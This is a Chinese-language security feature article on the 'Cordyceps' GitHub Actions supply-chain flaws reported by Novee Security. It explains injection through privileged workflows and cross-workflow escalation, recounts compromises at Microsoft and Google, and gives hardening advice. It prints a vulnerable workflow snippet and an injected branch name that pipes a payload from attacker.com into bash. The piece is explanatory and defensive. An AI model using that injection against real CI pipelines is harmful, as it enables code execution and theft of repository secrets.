每一位工程师都懂得那种感觉。
深夜的代码提交，等待片刻，CI/CD管道跑完最后一个检查节点——绿色。安全扫描：通过。合规审计：无异常。仪表盘数据：100%健康。
那盏绿灯，是现代DevSecOps文化中最具安抚力量的图腾。它告诉工程师可以下班了，告诉安全主管今晚可以睡一个安稳觉，告诉管理层这条价值数亿美元的代码供应链正处于铜墙铁壁的庇护之下。
然而，2026年6月，网络安全研究机构Novee Security发布的一份报告，将这盏灯背后的阴影彻底曝光在公众视野中。
他们将这一新型漏洞集群命名为 "Cordyceps"——冬虫夏草。
这个命名带着某种冷静而残忍的诗意。冬虫夏草是一种寄生真菌，它侵入昆虫的躯体，在不破坏宿主外壳的前提下，悄无声息地从内部操控、蚕食、最终彻底占据其神经系统。而这种新型GitHub Actions供应链攻击的行事风格，与这种真菌如出一辙——工作流语法完美合规，静态扫描全线绿灯，与此同时，攻击者已经在您的构建集群深处，拥有了持续的、无人察觉的最高控制权。
受害者名单令人窒息：微软、谷歌、Apache基金会、Cloudflare、Python软件基金会(PSF)。
这些名字，构成了全球数字基础设施的脊梁。
而最让所有安全从业者如坐针毡的事实是：在整个漏洞暴露与可利用期间，所有受害企业的安全扫描器，始终亮着绿灯。
二、一张覆盖三万个仓库的"天网"，捞出了什么
Novee Security的研究方法本身，就是一次令人叹服的大规模安全工程实践。
研究团队部署了自动化分析矩阵，针对npm、PyPI、crates.io以及Go生态系统中约30.000个高影响力官方及知名开源仓库展开地毯式排查。这些仓库并非籍籍无名的边缘项目，而是全球数百万开发者每日构建软件时所依赖的核心基石。
初步筛查的结果令人不安：自动化矩阵标记出654个存在严重架构异常的仓库。经研究人员手动执行实战漏洞利用测试后，最终确认其中超过300个核心仓库存在"完全可被远程利用"的严重供应链漏洞。
更令安全界大为震动的，是触发这一系列严重漏洞所需的攻击门槛——低到近乎荒谬的地步。
攻击者不需要是目标组织的内部成员，不需要任何高级权限，甚至不需要将一行恶意代码合并进主分支。他所需要的全部准备工作，仅仅是一个在GitHub上免费注册的普通账户。
与此同时，那些组织内部的安全仪表盘，依然在向每一位高管和工程师平静地汇报着：一切正常。
ActiveState首席架构师Shane Warden在事后的分析中留下了一句堪称警世恒言的话："一个显示为绿色的管道，并不等同于一个受到有效治理的管道。传统的代码安全扫描器，从一开始就没有被设计用来识别这种组合维度的复合危险。"
这句话，道出了整个事件背后最深刻的认知鸿沟。
三、盲点的解剖：扫描器为何对此"视而不见"
要理解Cordyceps为何能让业内引以为傲的SAST与DAST工具集体失灵，我们必须先正视这些工具的底层逻辑。
传统自动化安全扫描器的核心工作机制，是"模式匹配"。当它逐行审视一个GitHub Actions的工作流YAML配置文件时，它在寻找几类明确的"坏代码特征"：是否使用了未授权的第三方敏感镜像?是否在代码中硬编码了明文密钥?是否调用了携带已知CVE漏洞的旧版Action插件?
这套逻辑本身无可厚非。然而，Cordyceps从一开始就绕开了这套逻辑——因为在它的攻击场景中，每一个单独的工作流文件在语法上都堪称完美，完全符合GitHub官方的最佳实践指南。
没有硬编码密钥。没有危险镜像。没有过时依赖。
问题不在于任何一行"坏代码"，而在于多个独立工作流之间的动态数据流传递与组合方式。攻击者看到的不是一行恶意代码，而是一条由合法配置片段拼接而成的完整攻击链路。扫描器所看到的只是一个个孤立的合规文件;攻击者所看到的，是这些文件组合之后所涌现出的、可被系统性利用的结构性漏洞。
这是安全领域中"度量失败"的最坏版本。红灯会促使工程师去追查问题;而绿灯，则让所有人安心回家，将整条流水线的后门留给了暗处等待的黑客。
四、Cordyceps的三把"手术刀"：精密解剖攻击原语
深入Cordyceps的攻击机制，我们需要先理解GitHub Actions在处理外部代码贡献(Pull Request)时所划定的信任边界。
GitHub为防止恶意PR窃取仓库密钥，设计了两类不同权限的触发上下文。pull_request触发器在隔离的Fork环境中运行，默认无法访问基仓库的Secrets，GITHUB_TOKEN仅有只读权限;而pull_request_target与workflow_run触发器则为了支持自动化便利功能，在基仓库的特权上下文中运行，拥有完整的Secrets访问权和读写权限的GITHUB_TOKEN。
Cordyceps的核心手法，正是诱导这些在特权上下文中运行的工作流，去读取并处理由不受信任的外部PR所控制的动态数据。研究人员将这种结构性漏洞的利用方式，分解为三种精密的攻击"原语"。
第一把手术刀：Shell层面的命令注入
当开发者在特权工作流的run步骤中，直接将外部可控的变量(如PR分支名、标题乃至评论内容)通过字符串拼接嵌入Shell脚本时，危险悄然降临。一个看起来无害的配置片段：
- name: Check Branch Name
run: |
echo "Processing branch: ${{ github.event.pull_request.head.ref }}"
攻击者只需在自己的Fork仓库中创建一个精心构造的分支名称，例如：
main; curl http://attacker.com/payload | bash; #
当该PR触发基仓库的特权工作流，这串字符串未经任何转义直接送入Bash执行——恶意命令被当成合法Shell语句运行，攻击者瞬间获得了在巨头构建服务器上执行任意代码的权限。
第二把手术刀：Node.js运行时的代码注入
许多工作流使用官方推荐的actions/github-script插件在流水线中灵活执行JavaScript脚本。若在JS代码块中直接进行字符串插值，则会导致运行时代码注入。攻击者只需将PR标题命名为一段精心构造的JavaScript代码片段，当该字符串被动态嵌入脚本并由Node.js执行时，其效果等同于严重的eval()注入——特权GITHUB_TOKEN随即遭窃。
第三把手术刀，也是最精妙的一把：跨工作流权限提升
这是让所有SAST工具最感无力的变体。攻击链横跨两个原本独立且各自完全合规的工作流：工作流A由普通的pull_request触发，在无特权环境中读取攻击者提交的内容并生成测试报告工件;工作流B由workflow_run触发，在工作流A完成后自动激活，持有高权限凭证，负责下载工作流A的工件并进行后续解析。
单独审计时，工作流A没有凭证，无从窃取;工作流B的代码全由内部维护者掌控，看似坚不可摧。然而，当工作流A将未经清洗的攻击者数据写入工件，工作流B毫无防备地加载并解析该工件时——恶意命令在高权限上下文中悄然引爆。两个文件各自合规，SAST工具无法建立跨文件的因果数据流模型，整条权限跨越链路于是在绿灯的庇护下完美运转。
五、惊魂实录：微软与谷歌的沦陷始末
这不是停留在实验室沙盘上的概念验证，而是有据可查的真实攻击演示。
微软Azure Sentinel的噩梦，足以令任何一位企业安全主管不寒而栗。
Azure Sentinel是微软核心的云原生SIEM平台，全球数以千计的大型企业和政府机构依赖其"内容中心"实时接收最新的威胁检测规则和自动化防御剧本。Novee Security证明，攻击者仅需对该仓库的任意PR进行一次特定格式的恶意留言，便能触发其特权CI管道中的完整Cordyceps攻击链，在微软的构建集群中执行任意代码，并完整窃取一枚永不过期的GitHub App密钥。
请在脑海中将这一场景的后果推演到底：一旦该密钥落入国家级APT组织之手，攻击者将获得对Sentinel分发内容的持续写入权限。他们可以在无声无息中删除针对特定攻击手法的检测规则，将精心构造的恶意代码伪装成"可信更新"，直接推送至数万家政企客户防御体系的核心——那将是一次堪称"污染整个免疫系统"的灾难性下游攻击。
谷歌AI Agent示例库的陷落，则揭示了生成式AI时代的新型供应链威胁面。
谷歌的AI Agent Development Kit示例仓库，是全球数十万AI工程师争相参考的基石项目。研究人员提交的一个特制PR，在无需维护者手动许可的情况下，直接在谷歌CI环境中夺取了控制权。由于该构建环境通过OIDC与谷歌云平台深度绑定，攻击者借助自动化部署接口成功将权限提升为对应GCP项目内的roles/owner——项目所有者角色。
这意味着，攻击者不仅拿走了暂时的CI凭证，更获得了该云端项目全量基础设施的永久控制权。
两大事件均已获得微软和谷歌官方的正式确认与修复。
六、AI时代的危险催化：当"工业化"遇上"不安全的模板"
如果说配置疏忽是人类工程师难以完全规避的历史性宿命，那么当下席卷软件行业的"Agentic Coding"浪潮，则正在将这一风险推向指数级失控的边缘。
越来越多的企业开始引入AI Agent来编写CI/CD流水线配置。这带来了工程效率的显著提升，也带来了Shane Warden所警示的结构性危机：AI工具并不具备真正的安全语义洞察力。它们所擅长的，是吞噬海量历史代码之后，快速吐出"看起来极具自信"的配置方案。
由于互联网和GitHub上充斥着大量早期未经安全加固的Actions模板，AI Agent在生成CI/CD配置时，会本能地、批量地复制并重现那些携带命令注入漏洞和pull_request_target滥用模式的不安全设计。一个细微的逻辑缺陷，在AI的高效驱动下，可以在几秒钟内繁衍克隆到数百万个仓库中——且没有任何可供溯源的特征信号。
安全团队传统的人工代码审计速度，已经彻底被AI的流水线式输出远远甩在身后。
七、范式的裂缝：没有CVE编号的威胁，让传统防御体系集体哑火
面对Cordyceps，安全主管们还不得不直视另一个残酷的制度性困境。
这批漏洞没有CVE编号。
传统企业安全防御体系高度依赖"漏洞库驱动"模型——通过扫描软件资产中是否存在特定CVE编号的组件来判断风险。然而，Cordyceps作为一种由"工作流组合配置不当"引发的架构逻辑缺陷，并不归属于任何一个特定的第三方开源组件，因此无法被纳入现有的CVE枚举框架。
没有签名，没有编号，现有合规扫描软件对它完全无能为力。
雪上加霜的是，2026年4月，美国国家标准与技术研究院(NIST)公开承认，其国家漏洞库(NVD)由于技术和人员限制，已无法对每一个新提交的CVE进行及时的深度分析。自2020年以来，全球CVE提交量已暴增263%。
在"已知CVE"都来不及处理的当下，像Cordyceps这种隐藏在绿灯之下、没有CVE身份证的结构性供应链缺陷，正成为企业安全边界之外最凶险的暗堡。
八、防御指南：如何亲手扼杀管道中的"冬虫夏草"
所幸，防御之道并非无迹可寻。以下是经实战验证的关键硬化措施，供技术负责人立即落地执行。
其一，严禁在Shell脚本中内联GitHub上下文变量。 永远不要将${{ github.event... }}直接拼接进run步骤。应将其显式声明为中间环境变量，并在Shell引用时加上双引号，以阻断Bash解析注入。
其二，审慎对待特权触发器。 所有来自外部的不受信任开源贡献，应坚定使用pull_request触发器。若因业务需要使用pull_request_target，在工作流首步绝对不能直接checkout并执行PR中的不受信任脚本。
其三，全局贯彻权限最小化原则。 在每一个工作流文件顶部，显式将GITHUB_TOKEN的默认权限收紧为只读，仅在高度受控的专用任务中局部开启必要写权限。
其四，锚定不可变凭证(Commit SHA)。 引用第三方Actions插件时，禁止使用@v4、@main等可被上游悄然替换的标签，必须全部改写为唯一的40位十六进制Commit SHA哈希，从根本上杜绝上游投毒风险。
其五，在组织层面筑牢首次贡献者审查关卡。 强制要求所有外部新贡献者的PR在触发基仓库特权工作流之前，必须经由具备写权限的内部维护者手动批准。用人类的审慎判断，对抗自动化流程中的系统性盲区。
尾声：请对那盏绿灯，保持冷峻的警惕
Cordyceps事件留下的最深刻教训，不在于某一个具体漏洞的技术细节，而在于它所揭示的整个行业在安全认知框架上的系统性错位。
我们构建了精密的扫描工具，制定了严苛的合规流程，投入了大量的安全预算——然后，我们习惯性地相信了那盏绿灯所承诺的一切。
然而，当攻击的逻辑存在于"组合"而非"文件"，当漏洞的本质是"结构"而非"代码"，当威胁游走于CVE体系和SAST工具所共同构成的盲区之中——那盏绿灯，所代表的不是安全，而是一种危险的虚假平静。
在AI全速驱动软件工程的今天，防御的思维必须完成一次根本性的范式迁移：从"在流水线末端盲目信任扫描器"，转向"在源头进行全生命周期的主权治理"。企业不仅需要知道引入了什么，更需要深度治理这些组件和工作流，究竟以何种特权逻辑在流水线中运行。
信任的边界，必须牢牢掌握在人类架构师清醒的手中。
此刻，请您打开自己组织的GitHub Actions配置文件，带着Cordyceps所揭示的视角，重新审视那些曾经让您安心的绿色数字。
别让供应链安全，死于对一盏灯的盲信。
